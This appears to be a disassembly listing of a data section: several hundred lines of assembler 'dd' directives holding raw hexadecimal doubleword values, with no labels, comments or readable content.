		dd 0F07B006Ah, 0C68E6137h, 0F00237Ah, 16D36956h, 74F4B971h
		dd 0FD1700C5h, 1DC630FFh, 600C3EBh, 0E266A5C8h,	0C69D3C26h
		dd 20A47008h, 6103607h,	7320634Dh, 9D42C3h, 0BF29BAEFh
		dd 0A3D16CE1h, 0B2B6F0Ch, 1F51189Eh, 160AD10h, 0EEC31979h
		dd 0C0FF39Ch, 40BAC6A2h, 0D16731CBh, 0C2690050h, 2BD9F31Ch
		dd 0FC0CA409h, 78548BFBh, 0E8974E74h, 0E93A008Ah, 9F7F84E0h
		dd 0C0FAC1h, 0E819DBEFh
		dd 0F02103BAh, 6C70B960h, 0A8676ECh, 8B1DEFDDh,	0AFEB0BAFh
		dd 0B3C41C80h, 0C27482F1h, 20F31A30h, 72E86F0Dh, 0F2A7C9Bh
		dd 9F37BEA6h, 27267F8Eh, 0EC00D005h, 7B0EE65Ch,	54A36Fh
		dd 4C38DCA7h, 85AD87B2h, 0B7F5C000h, 7C24E72Ch,	8F7D5Dh
		dd 35811E1Fh, 7A6E9421h, 0BA938300h, 0EA923469h, 3591C3Ah
		dd 9B7040C1h, 0AE05A6C3h, 52824800h, 95CF1B56h,	0E5F10F80h
		dd 0ACE13BC2h, 0F0E3F9C1h, 6F3AC94Fh, 0AFE080DEh, 76694426h
		dd 0C1B0008Ah, 20B6431h, 8600CB7Ah, 5483D1ECh, 0B327D4h
		dd 8DD83577h, 0FE1B171Eh, 0AFB83800h, 0CC890ADFh, 12EF2418h
		dd 4DD627F0h, 5CCA8B00h, 5614C07h, 2AF69BBBh, 0D68B80AAh
		dd 97FECE16h, 0E1A32C04h, 0BB8596B9h, 380E4680h, 0EB100014h
		dd 8030487Eh, 6A00E19Fh, 0BB2ABD96h, 3E17A0h, 93A1FE69h
		dd 401FAC18h, 0F23FD800h, 0B673C31Ah, 811000DDh, 67DC7806h
		dd 200B880h, 1A172BA9h,	3CB1189h, 5148A060h, 1288718Eh
		dd 0F5003B7Ch, 21FB1523h, 2E984759h, 77D3CEh, 0DC40D44Dh
		dd 2BEBCCCDh, 3A7637F0h, 300770Dh, 4F62959Ch, 0A238B21Bh
		dd 0C4F67DAFh, 76C5A101h, 411E6C47h, 277570h, 37A2F213h
		dd 2BBE0243h, 326D5Ch, 0B64033FCh, 38607224h, 0AC00D666h
		dd 44E00822h, 8E002E51h, 8474F2FFh, 2C45AA35h, 461653h
		dd 29908DE7h, 0B6003FC6h, 0C69061Dh, 0C039BDh, 3754622Dh
		dd 6AE30278h, 75D618C5h, 660A046Fh, 0E0D3CBh, 0F762D7AEh
		dd 0FF00A21Bh, 0CF89797Dh, 97E0417h, 0C406675Ah, 18192480h
		dd 1C0C4230h, 29EDDBA2h, 0A428476h, 0BF2A7208h,	80F07708h
		dd 56D6DD8Ah, 0DB77EE67h, 617F1580h, 4BD37824h,	0DEB60178h
		dd 8F922990h, 2F11D1BDh, 43D51C4Eh, 10367872h, 0F6640957h
		dd 0E0208B28h, 0FA807CE5h, 25528830h, 14A7A1CAh, 5140EC0Ch
		dd 79DA63DEh, 28D6A666h, 758852FAh, 27D40E7h, 2A886420h
		dd 0A0F1EEh, 897CB55Fh,	32F7209h, 34A8D100h, 0FD672063h
		dd 0DC1C033Bh, 0E06CCB16h, 3F256DF8h, 0E41BC000h, 85C3245Fh
		dd 1580052Ah, 0C0442C17h, 774DBFECh, 0D4C90800h, 46362F33h
		dd 0ECB3FD9h, 0C5F63F03h, 0D2C82BF7h, 0FE019A68h, 0ACDB64DEh
		dd 17C0A05Dh, 7DD1000Fh, 392CCD0h, 0DC0FE02Ah, 0CB45A1h
		dd 0D87CBA2Fh, 11E96A16h, 0FDD11EA5h, 585D1C00h, 9DDFA2E2h
		dd 1C1C0248h, 0CD40B64Fh, 8F65D5B1h, 1C8D3F76h,	13830880h
		dd 398C3323h, 6FC3A200h, 864B2264h, 799A009Ch, 0DDD72062h
		dd 0B1E46D16h, 2AF8491Fh, 66561500h, 261EEABh, 0B244B86Fh
		dd 544040EDh, 25034B1Fh, 0BC39176Eh, 49F5A0ADh,	7B36009Ch
		dd 0E618AB32h, 0C800935Eh, 0B253A2DAh, 86456Ch,	9A67D531h
		dd 127673A1h, 9DDCE63Eh, 5E94D091h, 390076EEh, 0F37B45D1h
		dd 907F6DC3h, 0CAA800DEh, 0AFEC353Fh, 0FD1E951Fh, 810C062Ch
		dd 46B8E0h, 4763E9A0h, 0D0F63960h, 0D2D42000h, 0A53E7A29h
		dd 74900EBh, 44B40E9Ah,	0F97D1866h, 34DE73Eh, 34B2AD0Ch
		dd 0A6D3D078h, 0CC772Fh, 0F6A83943h, 10AABA3Eh,	0F9A6100h
		dd 0C3841A75h, 0D41848C6h, 46B42100h, 35E7D8CFh, 0EBC82E01h
		dd 0C23EBCC1h, 9B9F9C4h, 3D05165h, 0BBEA1880h, 147CD256h
		dd 0CF0D3F00h, 1D2ACA5Ch, 0D48A00E4h, 0D72F21DAh, 7C00435Bh
		dd 9968A410h, 13F5E5h, 9F4D322Bh, 41A57678h, 355E0500h
		dd 0A0CC5C9h, 0C446002Ch, 0F1643EDh, 0C200634Ah, 158A8711h
		dd 7E1DCCh, 0D7218EB7h,	0E798F9Dh, 0EF19D900h, 9FCEA4A1h
		dd 59830018h, 4FB15F5Ah, 0EB00B24Dh, 114708C4h,	449EA66h
		dd 18A1F583h, 6B3890FBh, 12EC3D64h, 9AADB800h, 0D23B941h
		dd 0B4150444h, 87322676h, 0A3CD2017h, 9800375Ah, 0AD8E0B5Bh
		dd 34227E8h, 6F03267Eh,	0A7C8A55Eh, 68E26E4Bh, 9CCFD124h
		dd 23D9B801h, 0A0F88A66h, 9F4B006h, 9A6C5FC2h, 62DA8680h
		dd 8F0076DCh, 912398FCh, 84D0C4h, 1C455587h, 78CEFAA6h
		dd 0E2B22E00h, 0A435882Fh, 0EC5D0FF4h, 0DD20F6DCh, 2A571342h
		dd 0B6694100h, 0CEC031EDh, 567900ECh, 0D0340D84h, 0A074E49h
		dd 2F07858Eh, 0E414802Eh, 0EEF805h, 4A26D2C0h, 8A987F20h
		dd 61C70F03h, 0F870D642h, 3C581A51h, 4D801F45h,	6A7D6BA6h
		dd 971E53A0h, 98C0340Ah, 0A90F0311h, 9B640FE0h,	0BAA07D16h
		dd 0A0977EBEh, 0AB629CA0h, 0EC33B200h, 0CDD9EBBFh, 603902F2h
		dd 3D84A3D7h, 0A090A840h, 4CB22B1Dh, 913BDA40h,	5EE034h
		dd 0D43D164Eh, 0A815482Fh, 17B56F00h, 0EA349D89h, 0A70803CBh
		dd 581FB487h, 1A09E788h, 0F88FB900h, 12488D4Bh,	233D0C76h
		dd 776855D5h, 9C00D7E2h, 0CAB3F783h, 0F7FE3h, 0EB20E14Bh
		dd 261267C3h, 1651FD73h, 0A103F08Bh, 40FA511Dh,	9E2347C1h
		dd 16D05870h, 0EEE71C30h, 7D7B80D7h, 962F1EEDh,	17B18300h
		dd 0AB8A933Bh, 0C70800BDh, 8EBA78AAh, 287DDE51h, 8D005D73h
		dd 97EC0C58h, 1F53FA18h, 4013A4D1h, 2971ED77h, 47002591h
		dd 618F54B1h, 768C69h, 3794E828h, 17C4F155h, 837FD4A2h
		dd 88302C19h, 0FCA1DBh,	0DAE5F8C1h, 0A793E3B8h,	894C1C0Bh
		dd 5A00FF50h, 67B3A4DEh, 4F7A2507h, 0C70428Ch, 55A6ABh
		dd 3061BA84h, 81D9EC36h, 0DFE63Bh, 773C1A6Ah, 0F435C8h
		dd 0C4C9A77Ch, 0F55E4C4Ah, 78738500h, 0E1450455h, 0C6473F72h
		dd 5ACF01FAh, 0BC6E1C13h, 94A6C8C0h, 0FEB0100h,	3705285Ch
		dd 0BFCD0069h, 0DC9A62C7h, 2E7A0ADFh, 0FC359F06h, 48509E4Eh
		dd 2800357Bh, 0FE2FDDFBh, 1E0075D5h, 27A03A4Ch,	473988h
		dd 1B23B7E2h, 68C41DA1h, 20F47100h, 9585CB62h, 9804005Fh
		dd 40A1E1B4h, 73004783h, 249CC24Ch, 7745DA50h, 824B01BFh
		dd 23B30BC0h, 0F462CD8Fh, 0BC9829F5h, 9E63EF06h, 3D28640Eh
		dd 0EC15C68Dh, 1266C058h, 3A0081B6h, 4D71B1C8h,	701F16h
		dd 0F298EE1Ah, 2A84EF85h, 2120D600h, 730F0B90h,	6E220011h
		dd 0F3156053h, 7005C2Bh, 4B32DC71h, 9E3A0Eh, 0AB5FC33Eh
		dd 0C1187489h, 0F173CA1Fh, 29325C00h, 3D44D22Dh, 4F9E4823h
		dd 0F73A0084h, 4D5B750Dh, 17D75601h, 0AF58716h,	39FFA060h
		dd 5039A71Ah, 7CC92981h, 6042BEFDh, 5E009688h, 8564EDC7h
		dd 4C99D3h, 0AD6B8F79h,	0C493DC4Eh, 86371600h, 0CC635422h
		dd 0F1180FC2h, 65E0961Bh, 7BF3D2Ah, 0B403F2FCh,	97B30501h
		dd 5A4BE814h, 2CDF00C1h, 303BE2FFh, 0BC5CCB40h,	72A7001Bh
		dd 87E943A8h, 0D12A0013h, 9224756Dh, 67138C0Fh,	44147BD3h
		dd 95FB0010h, 2C20A8C0h, 0B83A5C4Ah, 0DB804848h, 82BC23C3h
		dd 78F5D700h, 10E4E9EFh, 17FA008Dh, 8607E52Bh, 4EE8CD7Ah
		dd 7268C500h, 0F5780A25h, 81C300BDh, 0B630742Eh, 7502A73Bh
		dd 718A960Ch, 6F34487Eh, 1F66072Bh, 70B3C88Fh, 0CBD73CCh
		dd 4AF13809h, 0D484A409h, 167A7880h, 44BB0088h,	66047F0Fh
		dd 240CDBA4h, 740CC6D5h, 0BF1800E4h, 0E59788E7h, 671F6496h
		dd 0F6002D0Bh, 2EF9ADBAh, 1DC31230h, 661C00FCh,	0E16C1B51h
		dd 9300E9F4h, 48E55ABDh, 0B0C81690h, 51C71D34h,	0A643C0FCh
		dd 0CCEF486h, 1C1D8C7Dh, 3449D5FBh, 717480C4h, 7B57A23h
		dd 8F26BD7Eh, 697B9017h, 0AF3C545Fh, 500CB752h,	7E10E1A0h
		dd 438900FDh, 650D42A7h, 0AE00CC24h, 8C21564Fh,	1CFF63h
		dd 7145C7F5h, 445F2877h, 8E066800h, 657B8481h, 33CB075Bh
		dd 60C27870h, 22AAD0A2h
		dd 25A0EE00h, 6EB297BCh, 3FCE00ADh, 925E31A5h, 0C700CC59h
		dd 15EFD57Ch, 1E650CDAh, 80410F99h, 8B5490A9h, 2700C47Ah
		dd 3F064835h, 2E17CF15h, 1D68E09Ah, 0ECF041BDh,	0BB7C4F99h
		dd 0FF5D8A92h, 60289C96h, 132F4900h, 0A8893FDBh, 314B0941h
		dd 0A84073BAh, 770062CCh, 82E67B13h, 2450F03Dh,	64F517h
		dd 0A1FD9D96h, 98284A38h, 0B009CFCFh, 40F753C1h, 6ED394h
		dd 124C6C48h, 0DE913521h, 711BDB00h, 0EA0496C3h, 244700F4h
		dd 4C13A0A4h, 0D900C70Eh, 0A3FDEDF0h, 4819739h,	4F0C6A88h
		dd 0C2988813h, 763DD826h, 9AA7C100h, 1DE85B05h,	0C921435Eh
		dd 0DD0022A4h, 34F6153Ah, 238C5902h, 0E0BBF42Ah, 0DBD664h
		dd 17A84A35h, 870A1410h, 90ABC700h, 0C649509Eh,	7726007Dh
		dd 6FD651Fh, 960080E7h,	0CDCEF872h, 0F0E509h, 6AE34526h
		dd 95370662h, 4B1AAF05h, 9C24B698h, 0B739F421h,	3ACCEE70h
		dd 0B806D5Bh, 28CE103Fh, 0AB1C5E6Eh, 4C402981h,	0F7DC39BDh
		dd 8B7D3F8Dh, 1B003EC8h, 0D7FCF846h, 94F60773h,	9DC5ED00h
		dd 0F9C69E16h, 0AC2D004Fh, 0B2F8F2F5h, 0B700508Fh, 0D9170CA6h
		dd 0FBDB53ABh, 90472BCCh, 0B8890004h, 33CC2C2Dh, 0FF77AA0Bh
		dd 58BB3Ch, 0A440012Eh,	0FDEFED7h, 1636B787h, 0D71CEAE7h
		dd 3DBE90BCh, 9A71F676h, 0C62F8800h, 0EF37E8AAh, 6C191D74h
		dd 0C779DE5Ch, 0F039ABB7h, 0EEFF03FDh, 4400B0B8h, 1A6650BAh
		dd 7BE12FD3h, 651217A2h, 5EB9078Ah, 3DF82084h, 960C6915h
		dd 0B06FAE54h, 0D990056h, 63C04B7Eh, 17553E0Eh,	0FCFBF19Ch
		dd 7C0A5248h, 0A094BE0Bh, 0EE291404h, 0A5D074C7h, 486F2E3Eh
		dd 6D3B3C16h, 2B8D9E04h, 1A5C8185h, 0CA4F939h, 0FF1D001Fh
		dd 5CF4AC45h, 0AE00F866h, 0B17C0497h, 7382F9C7h, 0ECC35CD5h
		dd 0EE2AA801h, 70B8D6BEh, 0BA009273h, 1914875Ah, 35E51526h
		dd 123659F8h, 6D00BE67h, 0D74634BEh, 285B039Dh,	1ACA9915h
		dd 0A56BD09Fh, 577C7462h, 0CE373F01h, 0E0F5B3F0h, 7111C3F8h
		dd 1464004Ah, 437A8CC0h, 0B4012C39h, 833067DBh,	0F0EFACABh
		dd 31A7E1h, 0F9342FA5h,	7242EB65h, 0A8C70401h, 1F319CAh
		dd 38EA5820h, 0A2806DAFh, 43135342h, 3E3F4CE5h,	69E98048h
		dd 5CC8E49Bh, 0F1E8009Eh, 786A6487h, 86E2B13Bh,	0EE730B00h
		dd 0F143628h, 0FF771151h, 638A042Ch, 40A0EB40h,	0C31A03ADh
		dd 0E8A8541Ch, 6DFE43C0h, 85572724h, 5687461Dh,	0CED02261h
		dd 5E6B894h, 5A39D4EAh,	23891A6h, 59D0507Eh, 293C8AFAh
		dd 0B1BE0086h, 0F509FBEAh, 9CC0008Dh, 0F7DAF818h, 7500DC8Eh
		dd 12695B3Ch, 0A0B04Ch,	85C7C130h, 0ECBB5957h, 8674201Eh
		dd 0CD763B00h, 0AA34F4h, 4FDF22BCh, 0CE0490A4h,	0DA26701Ch
		dd 83D40Bh, 0CC218E8Dh,	0FCF9027Dh, 0AA9F6ED8h,	0ED7447E0h
		dd 8919171Ch, 8EADBF40h, 26C2AC85h, 458E2FEh, 0B2149FE1h
		dd 0F7A383D4h, 0C84D809Ch, 0F33E0018h, 0DFAF3B48h, 2C073F22h
		dd 1569E0E2h, 29ADDAA0h, 0BE852632h, 775200DBh,	0A39ABC76h
		dd 891404B6h, 50E380B8h, 7431F154h, 0A0E800CEh,	0D70E16E0h
		dd 7D900229h, 23611303h, 0D04F221Ch, 4B5452h, 3BD22186h
		dd 0F8B9A40Fh, 1D78A50Fh, 9F3160DEh, 98CFC8CCh,	0CF725CB8h
		dd 39099200h, 0C3A3341Ch, 22494C25h, 0E07EA4B4h, 6CCFA48h
		dd 71E5369Fh, 5C3F1032h, 0CD40175h, 46A6C2CFh, 13CA5C0h
		dd 3BAC839Fh, 0D44CBB17h, 540FA00Dh, 6F2CD27Eh,	4B3F60E1h
		dd 0BAE8EDh, 4C16818Ah,	0F9BEC2ABh, 0E2759800h,	84994495h
		dd 0B88B50CBh, 594EE6h,	9AC009BCh, 0AE7B1389h, 441948h
		dd 9127FF7Ch, 0E8CC0E6Dh, 74460FD4h, 59402E7Ah,	0F04854C1h
		dd 75BF6400h, 98B97A6h,	0A1B2001Bh, 4CD5E80Bh, 70005B36h
		dd 0CC23F94Eh, 1ED24A9Eh, 408AFC37h, 0F545DCA1h, 2A012069h
		dd 498F1D98h, 0E9E86FEAh, 61290007h, 0A45BEB9Ah, 4D007023h
		dd 8C2E880Ch, 4FF8B2E4h, 0B7BC000Eh, 1AEAE541h,	0D31C3Fh
		dd 0AE68586Ah, 179C5915h, 7E6C4Fh, 0CFA38E5Bh, 6706B720h
		dd 982E6E9Ah, 9BF2024Eh, 6454DF3Fh, 59CE54E0h, 216FF700h
		dd 841B62AAh, 9D8F440Ah, 15025BF4h, 3566E66h, 63817790h
		dd 0FEB14177h, 0CEA5E0D7h, 0C1DD4CDCh, 0F1467200h, 92C11504h
		dd 70F6EE00h, 0FBA2E21Ah, 88D24CCFh, 0B77B5B08h, 918E2B81h
		dd 8B200354h, 38871274h, 890FBE5Bh, 0AB6B80h, 602B5F40h
		dd 4290337h, 42D8537Fh,	2FE880ADh, 9B00A976h, 0E069EDB9h
		dd 24B2FCh, 0A05C112Eh,	42CCE562h, 89E40200h, 93B9CE7Ah
		dd 7E0F0218h, 234778F8h, 24809889h, 0C869061Ah,	0DF53CD00h
		dd 15DC3127h, 9162000Fh, 0FD163C51h, 0A809399Eh, 0AB14E3h
		dd 1A7A6DA9h, 4BE900BCh, 0B99386B0h, 0F4002CC1h, 72534573h
		dd 13164668h, 304DBAC4h, 0E623FB54h, 7D79EE0Bh,	0BC8880B0h
		dd 2A3B42h, 2570C0FEh, 590544B1h, 0E8171507h, 0FA0E4ADh
		dd 3B9C2D74h, 0FA131FF9h, 0FD38C097h, 1007262h,	0E836275Ah
		dd 5A3CDEEh, 0E7AAB46Fh, 48B40190h, 208352B2h, 5600599Ch
		dd 386E13CDh, 790CB0h, 2861A171h, 51CE98C1h, 0FA4B210Bh
		dd 0A4BB80B4h, 8C4EDh, 0F7A2C8B9h, 3EDDC71Eh, 0F1214B00h
		dd 95538A6Ah, 0DEFD0072h, 75D70CE0h, 0F50B3AE7h, 38D7A87h
		dd 0BD396E93h, 36148A0h, 0DF7DC379h, 6AB07734h,	5E018368h
		dd 6CE6514Dh, 0E7D8F331h, 2C7DCBh, 0A8AA5818h, 0FAB93BCDh
		dd 8941DE0Fh, 88A540A6h, 0A98009h, 4BC21A29h, 0DF2499B9h
		dd 0A111E000h, 9B75D554h, 2070C3h, 6CB28CCDh, 400DC781h
		dd 0D4A37200h, 89704450h, 4D27EEE6h, 0A40098DEh, 1A86F842h
		dd 789DB0D8h, 9BDA0702h, 0A0CBBF99h, 21C6A785h,	5000605Ah
		dd 22F098B2h, 0B5FF0019h, 0F312CFD5h, 6EF22BF5h, 0B3203B04h
		dd 5FC36050h, 5E2AF002h, 1F4003Eh, 5A8CAD27h, 400006D1h
		dd 0DE1197C2h, 1C8F43BDh, 47221D6Bh, 0C00EF339h, 50B734F8h
		dd 5E120F03h, 0A8386FC6h, 3B1FBECh, 0A7DFC2BFh,	0A18024AFh
		dd 0CD00332Eh, 9364BDD8h, 0CA623Dh, 0DE56C615h,	26480CECh
		dd 3104E1Dh, 0B280C25Eh, 3D1BD3AAh, 11B6006Dh, 0F0F4BABFh
		dd 3F00DA80h, 0BDF7F908h, 268E59DCh, 0E4FB8AEh,	0D5007157h
		dd 19B26AE1h, 66D32517h, 46EDE000h, 989678Dh, 82045AE2h
		dd 0C018ECA7h, 8716990h, 294DFD00h, 0B3D1ED9h, 0BA07FAB5h
		dd 0C11A00E4h, 0DC052087h, 5E034228h, 21F71149h, 85C2B809h
		dd 0BFEC12CFh, 27478E7h, 0EC0E9D24h, 0CE49270Eh, 5ABC0047h
		dd 948874h, 0ABAE653Eh,	25555769h, 9CC75E00h, 0EF8CBD0Bh
		dd 4E2F0033h, 6E1A1DBCh, 907E23F7h, 3DCE8500h, 66612273h
		dd 0D1B10B7Eh, 880006DFh, 7D59D710h, 40070EAh, 7CFAFC9h
		dd 2CE061EBh, 1D3935h, 76A50C46h, 0E626C336h, 0E201371Eh
		dd 0D50BD9A7h, 941CBD8h, 3C03466Eh, 0C19ED884h,	0FBF295FAh
		dd 0CFDF6AD8h, 1792891Fh, 1E501040h, 60C6147h, 0DDC5DB95h
		dd 970AB8D1h, 0CCA5F6B8h, 0C3A7FB00h, 30428FDh,	8DADF442h
		dd 4B987107h, 4A00BF8Ch, 0C9CF80Ah, 0B08EEB3Ah,	2B360F90h
		dd 5AEB4317h, 1B0728C0h, 53689A0Ch, 499838h, 0FA19DC85h
		dd 7893A881h, 0B0622302h, 0D0D333CFh, 0F6050EA4h, 776E89C9h
		dd 9000E0ABh, 42523E58h, 0F58DDCA8h, 0C8008575h, 4986516Dh
		dd 0F4A288E3h, 94D70A4Dh, 2CEBD21Ah, 0D180002Ch, 0DA32585Eh
		dd 4BF03Eh, 0F732EBFh
		dd 0F21F46D5h, 729D138Ah, 0D0ED026Ah, 34C0D66Ch, 7D030DA3h
		dd 0B88B21A7h, 0AF578083h, 26E0009Bh, 2544E262h, 0BE003A30h
		dd 0F83320FEh, 942C5Ah,	1CD8A00Fh, 29107ABh, 6C41CE00h
		dd 55C18FBEh, 4BF2D7h, 0C72B5240h, 0DB2FE229h, 59BB4301h
		dd 879F2E96h, 3837F30h,	6D90247Dh, 70D1ECD5h, 0F648210Ah
		dd 1EB42940h, 0C430E007h, 45001252h, 3C164Fh, 42B8482h
		dd 4D9F1A68h, 61B93301h, 0E6F46FB2h, 2CD822EDh,	65B017Bh
		dd 9EA0FA84h, 40B4CC98h, 59ABEC0Ch, 101E9853h, 80D4D8CEh
		dd 7F87C2D3h, 60829593h, 6C5A4BE6h, 8F615300h, 0EE0A4804h
		dd 3650001Eh, 60BDCBD4h, 0A8003FF7h, 0B8E2136Eh, 5F2467h
		dd 84D96307h, 4D5CEB2Fh, 40DAB90Fh, 0FF3013Ah, 9AC46CEEh
		dd 61D00043h, 0A0348F4Eh, 0F50EFB36h, 80BC4D29h, 0E7EC3DFEh
		dd 1AF3F82h, 7F8DA600h,	0E9C9C3CBh, 428F5602h, 71CCFA78h
		dd 0A2FE00D0h, 30F501A9h, 0A0CA282Dh, 0F1F891C8h, 4CE84C6Bh
		dd 3DD21004h, 0C8ACFFh,	2E45FB46h, 1C0B9D28h, 0C9BF0FD4h
		dd 60604D13h, 0D30439C9h, 776E7B50h, 79D65AC1h,	0E18EE4h
		dd 617ADCC7h, 6006FFE3h, 8B480B04h, 4CC01101h, 2123668Eh
		dd 390231CBh, 63B7705Fh, 0B213F9F0h, 440B6027h,	8CE4D7C5h
		dd 19726F01h, 90E3F1C4h, 3E019E30h, 0D2048965h,	0E022DAECh
		dd 95C99C8h, 0A8C0DFFCh, 0C67DAA6Ah, 9BBE3D5Ah,	1EE1A600h
		dd 0E937A25Ch, 76F6F801h, 79E1254h, 7B326860h, 0C9FC3E10h
		dd 8078089Eh, 4C0E535Ah, 862CC15Dh, 1C0030F0h, 70DAA78Bh
		dd 33739Ch, 604D1773h, 0DDD2DC9Ah, 13DEE800h, 0E1B494F6h
		dd 8E541E8Ch, 59A00A3h,	0A8D7AFF5h, 0D6C60600h,	53279B17h
		dd 9E780390h, 7D7CEFA5h, 0DA150580h, 49E78000h,	0B7519F31h
		dd 0B3E0506Dh, 0E10D07A1h, 8FB3B8EEh, 3B160820h, 0D3260E22h
		dd 511670D8h, 49EA7C00h, 71C2E7EBh, 0C0740FC3h,	0B640DCECh
		dd 5F7DADDEh, 0A0A53801h, 19137735h, 0F76AE8h, 41DA7052h
		dd 0E116B511h, 7F95E301h, 0CE6C43A5h, 0BA7C30h,	0A2DDFD8Fh
		dd 8C085C5Dh, 0DFFBE700h, 848775E2h, 0D9F33847h, 7078ED00h
		dd 0A5581E60h, 0E7B5F600h, 0EEC6C3Eh, 244EB807h, 960308Fh
		dd 7C8A09AEh, 40CF1791h, 0D1FCDBCCh, 6014388Dh,	0EAF96C3h
		dd 223C0450h, 4032E108h, 4E1EA4h, 39AB4251h, 64860CE4h
		dd 629B5200h, 19F2C0ECh, 0AACB00E9h, 91E1599Ch,	101D6EEh
		dd 0B25E698Bh, 82C86339h, 0D958034Eh, 79EC84D8h, 8C1D68F8h
		dd 0B303A0E6h, 0E49F4DC5h, 39CAF83Ch, 249848DFh, 7B2A4301h
		dd 70FB7509h, 68583D9Fh, 0B8708094h, 763BC799h,	0FCDF5093h
		dd 905C7D63h, 0E30B0052h, 18B506FEh, 0C1009EFDh, 43B32248h
		dd 742B55h, 22EAC58h, 0CD6ABCEFh, 5424A64Ah, 78F2C0BEh
		dd 130F8884h, 205F95BEh, 98F038BCh, 8A0900C3h, 0CDACB48Dh
		dd 2C00CECCh, 536251C7h, 23D17Bh, 0B87FD0DFh, 55117626h
		dd 0F5B38618h, 4A4A0CC0h, 9E84DCE1h, 81FC8900h,	2F08918Ah
		dd 3BFEE4C3h, 0BF81ABCEh, 0EE154460h, 0D04131CBh, 4009E782h
		dd 573A6Ah, 0C4258AA8h,	84DE3E83h, 753DAC49h, 0CBA29Ch
		dd 0EF78586Dh, 1D03711Ch, 0D9E75D9Eh, 2C73D875h, 6C9C00D6h
		dd 964882CDh, 189A59C9h, 527EBE12h, 388FC09h, 0C843B232h
		dd 0EAFE40h, 0EFAA5B8Dh, 46E4075Ch, 0C39A2300h,	0B22DF635h
		dd 1F0E007Ch, 7AFB1458h, 0E3001B71h, 2EE85477h,	0DC0378h
		dd 2D57132Ch, 0FD884C5Ah, 74710601h, 0F624FBDFh, 0D9FFCh
		dd 634EB199h, 80BA45BDh, 8E415A3Dh, 1F9C715h, 0CC2EFA21h
		dd 3469420h, 0CF892AC9h, 0A3E0ECEBh, 8500CB06h,	0D72F247Bh
		dd 1D9826h, 9939D811h, 5A842A3Fh, 0F9803300h, 12A90178h
		dd 755039Fh, 8A6B79A5h,	0B5FEED8h, 12100848h, 64E25B36h
		dd 29CA99A0h, 0D6B09B01h, 6F6532CFh, 0E72EF0h, 125A6620h
		dd 83AC8737h, 0B8BFFD30h, 4D593C9h, 9843B688h, 6F4EC0E2h
		dd 0F73BCCE6h, 0C2AD802Bh, 285DACD5h, 0CDA80785h, 0B9DFB246h
		dd 0AF7C98A0h, 271E2D66h, 80BDA642h, 0F1854A6Ah, 3082BF5h
		dd 24AD29A0h, 0E0C034A4h, 0F600EF98h, 35052E74h, 799066E5h
		dd 1A5FE33h, 0CB1F715Ah, 702D7DCDh, 9F0A6D20h, 0C4FCE3AAh
		dd 1802666h, 6BFA488h, 0E879421Ch, 0E600E1EDh, 0B8EBD256h
		dd 0E89045B1h, 349A0E6Dh, 0FAE0BF58h, 0FC6949E2h, 0DCD09F00h
		dd 0F9C1611Bh, 3BE61E65h, 1002ED7h, 79F16BB2h, 0B9040E8h
		dd 5200C709h, 0F217E3A6h, 4559E3Eh, 588568B9h, 2584ACABh
		dd 8D1C484Fh, 70393D87h, 8F1E4000h, 8A82C0B2h, 940B5807h
		dd 5B00F080h, 0E0C388h,	25B996D8h, 53FA3485h, 560EB600h
		dd 0ADFE7F8Ah, 0E644C029h, 0FAC2D76Bh, 76303C00h, 2C069C8Eh
		dd 10778F4h, 0D9B3804Ah, 6CC434A1h, 144BB01Ch, 82C10070h
		dd 5ABC01D5h, 4095AA04h, 3A3B18B6h, 0EF8BEAEBh,	99011321h
		dd 414072B9h, 3050C5C4h, 1F1D26D2h, 0A380CCBCh,	4D321C57h
		dd 4DA2417h, 2FD00CEh, 6480EFB7h, 3D073B00h, 182B87B0h
		dd 0E3E00E4h, 302DC75Ch, 8D00FC25h, 40F24124h, 78ADC8Bh
		dd 0D5A5A229h, 1FE50081h, 0F77C5BBAh, 0FF2C600h, 764D2C96h
		dd 56E683h, 2A021A77h, 728757DBh, 3306400h, 41E886C6h
		dd 5ABE038Dh, 730D77A2h, 651BF3C8h, 3AC3D503h, 0A0305162h
		dd 0FCA870h, 684CDC41h,	31DE508Ah, 0D64D2D00h, 173C4802h
		dd 0F5EA1772h, 0BB05FA1Bh, 8CD033A0h, 0E0405Bh,	0B1DCD1E7h
		dd 8E2F6343h, 6558B400h, 0AF26C3B3h, 22794C37h,	7C02BB00h
		dd 2B275761h, 0BB08C63Fh, 37E8A4A2h, 0C4B25400h, 0FDA8CB9Eh
		dd 38F069C0h, 8F014A1Ch, 0B25B11B1h, 438180F6h,	71E43CA2h
		dd 0F1F300F7h, 735E681Dh, 70F8941Bh, 106CA400h,	0C9547F0Ah
		dd 187E76h, 0A8B5AF8Eh,	8C954F30h, 33BE251Ch, 13B89C0h
		dd 3EA1C5Bh, 65B9B280h,	5CB01ACBh, 60B07BC1h, 75617304h
		dd 0F4C0D1D2h, 1F0D898Dh, 1F8B9B6h, 0FE48C8E0h,	0A07ED0A8h
		dd 0D2EE6E00h, 0ABFB5C43h, 28270B42h, 0A46AD711h, 741A080h
		dd 1F1D0AADh, 4F40EC14h, 0D2B877FBh, 0E2220126h, 616A8F8Eh
		dd 0FEC8C0F6h, 11479B1Fh, 77501340h, 0F9BA88h, 1A1BA4ECh
		dd 0CC193ACh, 6A363200h, 1D15A869h, 284B00CDh, 0C48B8035h
		dd 92007D66h, 78224167h, 0FE3BF123h, 20E2003Ah,	0CEA8E6EBh
		dd 0DE4F681Bh, 121248C5h, 0E41218F6h, 0D888B49Eh, 0AC6C4B3Ah
		dd 0AC012031h, 1389BCCEh, 3DAC0DCh, 4416B7FCh, 1990EADDh
		dd 5F7F5866h, 4B6F5400h, 0A4266CD0h, 53A00315h,	0ED02999Fh
		dd 8ECFE0CFh, 5EB84744h, 48F6B03Ch, 1015324Bh, 4DBA01E0h
		dd 85000714h, 6024C8h, 0BC815A43h, 0CD41D6F6h, 31C32600h
		dd 2E48E11h, 1100173h, 644274A0h, 9D388187h, 4594535Ah
		dd 0C005C7Ch, 6F18F1E8h, 5400FCB9h, 96FDD1C3h, 1823AA9h
		dd 0D64224ABh, 7413E975h, 0F900BDFCh, 2CB74071h, 38D3CCh
		dd 5BB1F0D8h, 4680724Bh, 60043Bh, 0CD1C4D25h, 3F7DFE98h
		dd 3300695Ah, 932DD66h,	3A0E3F73h, 608D2FDEh, 80585C04h
		dd 1D2814B6h, 6538841Ch, 6FCF2900h, 0F2AEF594h,	4C03E100h
		dd 34A0C541h, 0FA8F077Bh, 61123FBAh, 0C7EF58F6h, 0F4C045C1h
		dd 0B84FB3D4h, 2BF0C087h, 1D1AE9h, 60430F4Ch, 4B5257Eh
		dd 0D1CBEC00h, 3EC34A3Ah, 3C6E80Ah, 0C73F694Bh,	0F001A606h
